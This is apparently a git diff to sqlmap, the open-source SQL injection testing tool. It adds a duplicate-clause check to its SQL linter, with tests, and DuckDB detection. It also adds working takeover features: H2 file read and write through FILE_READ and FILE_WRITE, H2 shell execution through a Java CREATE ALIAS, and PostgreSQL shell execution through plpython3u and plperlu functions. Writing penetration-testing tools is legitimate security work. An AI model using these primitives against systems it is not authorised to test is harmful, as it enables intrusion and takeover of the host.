diff --git a/lib/utils/sqllint.py b/lib/utils/sqllint.py
index 867b4c7d228..f38ef28584c 100644
--- a/lib/utils/sqllint.py
+++ b/lib/utils/sqllint.py
@@ -75,6 +75,16 @@
# "a,limit,b" would false-positive.
_CLAUSE_KEYWORDS = frozenset(("FROM", "WHERE", "HAVING", "INTO"))
+# single-occurrence clause keywords (at most one per SELECT scope) with no
+# identifier-collision risk - unlike GROUP/ORDER, which double as column names.
+# a repeat at the same paren-depth is the 'WHERE x WHERE y' structural bug (e.g.
+# a schema filter appended onto a base query that already carries a WHERE).
+_SINGLE_CLAUSE_KEYWORDS = frozenset(("WHERE", "HAVING"))
+
+# set operators that begin a fresh SELECT, resetting single-occurrence clauses at
+# the current scope ('a WHERE x UNION b WHERE y' is legal; two WHEREs are not).
+_SET_OPERATORS = frozenset(("UNION", "EXCEPT", "INTERSECT", "MINUS"))
+
# sqlmap's own templating markers. If any survives into a *final* outbound payload
# a substitution failed upstream (agent.py / cleanupPayload / queries.xml) - always
# a bug. Matched on the raw payload because a marker can leak anywhere (bare, inside
@@ -309,6 +319,10 @@ def checkSanity(sql, keywords=None):
True
>>> bool(checkSanity("1UNION SELECT NULL"))
True
+ >>> bool(checkSanity("SELECT a FROM t WHERE x=1 WHERE y=2"))
+ True
+ >>> checkSanity("SELECT a FROM t WHERE x=1 UNION SELECT b FROM u WHERE y=2")
+ []
"""
if not sql:
return []
@@ -419,4 +433,28 @@ def checkSanity(sql, keywords=None):
if cur.type == T_OTHER:
issues.append("stray character '%s' at offset %d" % (cur.value, cur.start))
+ # -- duplicated single-occurrence clause at one scope ('WHERE x WHERE y') --
+ # WHERE/HAVING may appear at most once per SELECT scope; a second one at the
+ # same paren-depth (no set operator or ';' resetting the SELECT in between)
+ # is a structural impossibility no surrounding query can undo - subquery
+ # clauses live at a deeper depth and reset on '(' / ')'.
+ scopeSeen = [set()]
+ for token in sig:
+ if token.type == T_LPAREN:
+ scopeSeen.append(set())
+ elif token.type == T_RPAREN:
+ if len(scopeSeen) > 1:
+ scopeSeen.pop()
+ elif token.type == T_SEMI:
+ scopeSeen = [set()]
+ elif token.type == T_KEYWORD:
+ word = token.value.upper()
+ if word in _SINGLE_CLAUSE_KEYWORDS:
+ if word in scopeSeen[-1]:
+ issues.append("duplicate '%s' clause at offset %d" % (word, token.start))
+ else:
+ scopeSeen[-1].add(word)
+ elif word in _SET_OPERATORS:
+ scopeSeen[-1].clear()
+
return issues
diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py
index cc17cd8aa1a..cd869ec20a5 100644
--- a/plugins/dbms/cubrid/connector.py
+++ b/plugins/dbms/cubrid/connector.py
@@ -33,7 +33,7 @@ def connect(self):
# CUBRIDdb.connect takes a positional URL 'CUBRID:host:port:db:::' then user/password positionally
# (it does not accept hostname/username/database keyword args, which raised a TypeError before)
self.connector = CUBRIDdb.connect("CUBRID:%s:%s:%s:::" % (self.hostname, self.port, self.db), str(self.user), str(self.password))
- except Exception as ex:
+ except CUBRIDdb.Error as ex:
raise SqlmapConnectionException(getSafeExString(ex))
self.initCursor()
diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py
index f607dc2438c..c82ba858eab 100644
--- a/plugins/dbms/h2/filesystem.py
+++ b/plugins/dbms/h2/filesystem.py
@@ -5,14 +5,43 @@
See the file 'LICENSE' for copying permission
"""
-from lib.core.exception import SqlmapUnsupportedFeatureException
+from lib.core.common import checkFile
+from lib.core.convert import getText
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.enums import CHARSET_TYPE
+from lib.core.enums import EXPECTED
+from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
- def readFile(self, remoteFile):
- errMsg = "on H2 it is not possible to read files"
- raise SqlmapUnsupportedFeatureException(errMsg)
+ def nonStackedReadFile(self, remoteFile):
+ if not kb.bruteMode:
+ infoMsg = "fetching file: '%s'" % remoteFile
+ logger.info(infoMsg)
+
+ # NOTE: FILE_READ() is a default H2 builtin and works in a plain SELECT (no stacking required)
+ result = inject.getValue("RAWTOHEX(FILE_READ('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
+
+ return result
+
+ def stackedReadFile(self, remoteFile):
+ # H2 reads through a builtin scalar, so the stacked/direct path reuses the same primitive
+ return self.nonStackedReadFile(remoteFile)
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
- errMsg = "on H2 it is not possible to write files"
- raise SqlmapUnsupportedFeatureException(errMsg)
+ checkFile(localFile)
+ self.checkDbmsOs()
+
+ with open(localFile, "rb") as f:
+ content = getText(f.read())
+
+ infoMsg = "writing the file content to '%s'" % remoteFile
+ logger.info(infoMsg)
+
+ # NOTE: FILE_WRITE() is the H2 builtin counterpart of FILE_READ(); being a plain scalar it needs no
+ # stacked queries (the write happens as a side effect over UNION/error/blind). The content is passed
+ # as a string literal (STRINGTOUTF8) so it survives sqlmap's CHAR()-encoding (unlike an X'..' literal)
+ inject.getValue("CAST(FILE_WRITE(STRINGTOUTF8('%s'),'%s') AS INT)" % (content.replace("'", "''"), remoteFile), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+
+ return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py
index 7125b27cec3..44252d1ea1f 100644
--- a/plugins/dbms/h2/fingerprint.py
+++ b/plugins/dbms/h2/fingerprint.py
@@ -119,3 +119,10 @@ def checkDbms(self):
def getHostname(self):
warnMsg = "on H2 it is not possible to enumerate the hostname"
logger.warning(warnMsg)
+
+ def checkDbmsOs(self, detailed=False):
+ if Backend.getOs():
+ infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
+ logger.info(infoMsg)
+ else:
+ self.userChooseDbmsOs()
diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py
index 29ba323a57c..50b62af5444 100644
--- a/plugins/dbms/h2/takeover.py
+++ b/plugins/dbms/h2/takeover.py
@@ -5,17 +5,42 @@
See the file 'LICENSE' for copying permission
"""
+from lib.core.common import Backend
+from lib.core.common import randomStr
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.enums import OS
from lib.core.exception import SqlmapUnsupportedFeatureException
+from lib.request import inject
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def osCmd(self):
- errMsg = "on H2 it is not possible to execute commands"
- raise SqlmapUnsupportedFeatureException(errMsg)
+ self._createExecAlias()
+ self.runCmd(conf.osCmd)
def osShell(self):
- errMsg = "on H2 it is not possible to execute commands"
- raise SqlmapUnsupportedFeatureException(errMsg)
+ self._createExecAlias()
+ self.shell()
+
+ def _createExecAlias(self):
+ # NOTE: H2 compiles an inline Java source alias that shells out; the $$-delimited body avoids
+ # single-quote escaping and survives stacked-query injection intact
+ if not kb.get("h2ExecAlias"):
+ kb.h2ExecAlias = randomStr(lowercase=True)
+ argv = '"cmd.exe","/c"' if Backend.isOs(OS.WINDOWS) else '"/bin/sh","-c"'
+ # NOTE: ProcessBuilder().start() is used instead of Runtime.exec() because 'exec' is an SQL
+ # statement keyword that sqlmap's cleanQuery() would upper-case and break the case-sensitive Java
+ source = 'String x(String c) throws Exception { return new String(new ProcessBuilder(new String[]{%s,c}).start().getInputStream().readAllBytes()); }' % argv
+ inject.goStacked("CREATE ALIAS IF NOT EXISTS %s AS $$ %s $$" % (kb.h2ExecAlias, source))
+
+ def h2ExecCmd(self, cmd, silent=False):
+ self._createExecAlias()
+ inject.goStacked("CALL %s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")))
+
+ def h2EvalCmd(self, cmd, first=None, last=None):
+ self._createExecAlias()
+ return inject.getValue("%s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")), safeCharEncode=False)
def osPwn(self):
errMsg = "on H2 it is not possible to establish an "
diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py
index 181384becbc..e52208d67af 100644
--- a/plugins/dbms/postgresql/enumeration.py
+++ b/plugins/dbms/postgresql/enumeration.py
@@ -5,7 +5,11 @@
See the file 'LICENSE' for copying permission
"""
+from lib.core.common import Backend
from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.enums import DBMS
+from lib.core.enums import FORK
from plugins.generic.enumeration import Enumeration as GenericEnumeration
@@ -13,3 +17,55 @@ class Enumeration(GenericEnumeration):
def getHostname(self):
warnMsg = "on PostgreSQL it is not possible to enumerate the hostname"
logger.warning(warnMsg)
+
+ def getColumns(self, *args, **kwargs):
+ if not Backend.isFork(FORK.DUCKDB):
+ return GenericEnumeration.getColumns(self, *args, **kwargs)
+
+ # DuckDB (PostgreSQL fork) exposes column metadata through information_schema instead of the
+ # pg_catalog tables (pg_attribute yields no rows), so swap those queries in for the generic routine
+ columns = queries[DBMS.PGSQL].columns
+ backup = (columns.inband.query, columns.inband.condition, columns.blind.query, columns.blind.query2, columns.blind.count, columns.blind.condition)
+
+ columns.inband.query = "SELECT column_name,data_type FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name"
+ columns.blind.query = "SELECT column_name FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name"
+ columns.blind.query2 = "SELECT data_type FROM information_schema.columns WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'"
+ columns.blind.count = "SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s'"
+ columns.inband.condition = columns.blind.condition = "column_name"
+
+ try:
+ return GenericEnumeration.getColumns(self, *args, **kwargs)
+ finally:
+ columns.inband.query, columns.inband.condition, columns.blind.query, columns.blind.query2, columns.blind.count, columns.blind.condition = backup
+
+ def getUsers(self):
+ if Backend.isFork(FORK.DUCKDB):
+ warnMsg = "on DuckDB it is not possible to enumerate the users"
+ logger.warning(warnMsg)
+ return []
+
+ return GenericEnumeration.getUsers(self)
+
+ def getPasswordHashes(self):
+ if Backend.isFork(FORK.DUCKDB):
+ warnMsg = "on DuckDB it is not possible to enumerate the user password hashes"
+ logger.warning(warnMsg)
+ return {}
+
+ return GenericEnumeration.getPasswordHashes(self)
+
+ def getPrivileges(self, query2=False):
+ if Backend.isFork(FORK.DUCKDB):
+ warnMsg = "on DuckDB it is not possible to enumerate the user privileges"
+ logger.warning(warnMsg)
+ return {}
+
+ return GenericEnumeration.getPrivileges(self, query2)
+
+ def getRoles(self, query2=False):
+ if Backend.isFork(FORK.DUCKDB):
+ warnMsg = "on DuckDB it is not possible to enumerate the user roles"
+ logger.warning(warnMsg)
+ return {}
+
+ return GenericEnumeration.getRoles(self, query2)
diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py
index 20eed02a917..3bcf8a51073 100644
--- a/plugins/dbms/postgresql/fingerprint.py
+++ b/plugins/dbms/postgresql/fingerprint.py
@@ -45,6 +45,8 @@ def getFingerprint(self):
fork = FORK.OPENGAUSS
elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/
fork = FORK.AURORA
+ elif inject.checkBooleanExpression("[1,2,3][2]=2"): # NOTE: bare list literal with 1-based indexing is DuckDB-only (invalid syntax on PostgreSQL)
+ fork = FORK.DUCKDB
else:
fork = ""
@@ -109,7 +111,8 @@ def checkDbms(self):
logger.info(infoMsg)
# NOTE: Vertica works too without the CONVERT_TO()
- result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL")
+ # NOTE: DuckDB (PostgreSQL dialect fork) lacks CONVERT_TO()/QUOTE_IDENT(), so it is accepted via its list-literal instead
+ result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL") or inject.checkBooleanExpression("[1,2,3][2]=2")
if result:
infoMsg = "confirming %s" % DBMS.PGSQL
diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py
index ee9b70f345e..709f6ff2e5a 100644
--- a/plugins/dbms/postgresql/takeover.py
+++ b/plugins/dbms/postgresql/takeover.py
@@ -17,6 +17,7 @@
from lib.core.common import isStackingAvailable
from lib.core.common import randomStr
from lib.core.compat import LooseVersion
+from lib.core.convert import getText
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -128,3 +129,48 @@ def checkCopyExec(self):
kb.copyExecTest = self.copyExecCmd("echo 1") == '1'
return kb.copyExecTest
+
+ def _plRun(self, func, cmd):
+ output = inject.getValue("%s('%s')" % (func, cmd.replace("'", "''")), resumeValue=False, safeCharEncode=False)
+
+ if isListLike(output):
+ output = flattenValue(output)
+ output = filterNone(output)
+
+ if not isNoneValue(output):
+ output = os.linesep.join(getText(_) for _ in output)
+
+ return output
+
+ def _plExecFunc(self):
+ # NOTE: forge a command-exec function through an untrusted procedural language. Unlike the shared
+ # library UDF this needs no precompiled binary (the ancient 'lib_postgresqludf_sys' artifacts),
+ # only a superuser-installable language - a maintainable fallback when 'COPY ... FROM PROGRAM' is blocked
+ if kb.get("plExecFunc") is None:
+ kb.plExecFunc = ""
+
+ if isStackingAvailable() or conf.direct:
+ func = randomStr(lowercase=True)
+
+ for language, body in (("plpython3u", "import subprocess; return subprocess.check_output(cmd, shell=True).decode()"),
+ ("plperlu", "return `$_[0]`;")):
+ inject.goStacked("CREATE EXTENSION IF NOT EXISTS %s" % language, silent=True)
+ inject.goStacked("CREATE OR REPLACE FUNCTION %s(cmd text) RETURNS text AS $$ %s $$ LANGUAGE %s" % (func, body, language), silent=True)
+
+ if (self._plRun(func, "echo 1") or "").strip() == '1':
+ kb.plExecFunc = func
+
+ infoMsg = "the back-end DBMS allows command execution via the '%s' procedural language" % language
+ logger.info(infoMsg)
+
+ break
+
+ return kb.plExecFunc or None
+
+ def checkPlExec(self):
+ return self._plExecFunc() is not None
+
+ def plExecCmd(self, cmd, silent=False):
+ func = self._plExecFunc()
+
+ return self._plRun(func, cmd) if func else None
diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py
index b648714bdef..264ee5d1a51 100644
--- a/plugins/generic/databases.py
+++ b/plugins/generic/databases.py
@@ -301,7 +301,7 @@ def getTables(self, bruteForce=None):
if condition:
if not Backend.isDbms(DBMS.SQLITE):
- query += " WHERE %s" % condition
+ query += " %s %s" % ("AND" if re.search(r"(?i)\bWHERE\b", query) else "WHERE", condition)
if conf.excludeSysDbs:
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py
index 3e3c5f4b625..69ceebb9f55 100644
--- a/plugins/generic/filesystem.py
+++ b/plugins/generic/filesystem.py
@@ -229,7 +229,7 @@ def readFile(self, remoteFile):
logger.debug(debugMsg)
fileContent = self.stackedReadFile(remoteFile)
- elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL):
+ elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2):
debugMsg = "going to try to read the file with non-stacked query "
debugMsg += "SQL injection technique"
logger.debug(debugMsg)
diff --git a/tests/test_sqllint.py b/tests/test_sqllint.py
index 63f409ff10d..4c06bbcdecc 100644
--- a/tests/test_sqllint.py
+++ b/tests/test_sqllint.py
@@ -66,6 +66,9 @@
"SELECT LIMIT 0 1 DISTINCT(user) FROM INFORMATION_SCHEMA.SYSTEM_USERS", # HSQLDB space-LIMIT
"SELECT TOP 1 name FROM master..sysdatabases", # MSSQL TOP + db..table
"CONCAT('\\',0x71,(SELECT 1))", # backslash-literal string (ANSI)
+ "SELECT a FROM t WHERE x=1 UNION SELECT b FROM u WHERE y=2", # two WHEREs across UNION (legal)
+ "SELECT a FROM (SELECT b FROM t WHERE c=1) z WHERE d=2", # subquery WHERE + outer WHERE (different scopes)
+ "SELECT a FROM t WHERE x IN (SELECT c FROM d WHERE e=1) AND f=2", # WHERE with a WHERE'd subquery
)
# malformed fragments/statements that MUST flag
@@ -92,6 +95,9 @@
"1 UNION ALLSELECT NULL", # glued keyword after UNION
"1 AND ORD(MID((SELECT COUNT(x FROM t),1,1))>64", # unbalanced parentheses (dropped ')')
"1 UNION ALL SELECT ,CONCAT(0x71,a,0x71) FROM t", # comma right after SELECT
+ "SELECT OWNER,OBJECT_NAME FROM SYS.ALL_OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW') WHERE OWNER IN ('APPU')", # double WHERE (mis-appended schema filter)
+ "SELECT tabschema,tabname FROM syscat.tables WHERE type IN ('T','V') WHERE tabschema IN ('DB2INST1')", # double WHERE (DB2)
+ "SELECT a FROM t WHERE x=1 HAVING c>1 HAVING d<2", # duplicate HAVING
)
# cross-dialect valid constructs the near-keyword / comma / digit-glue rules must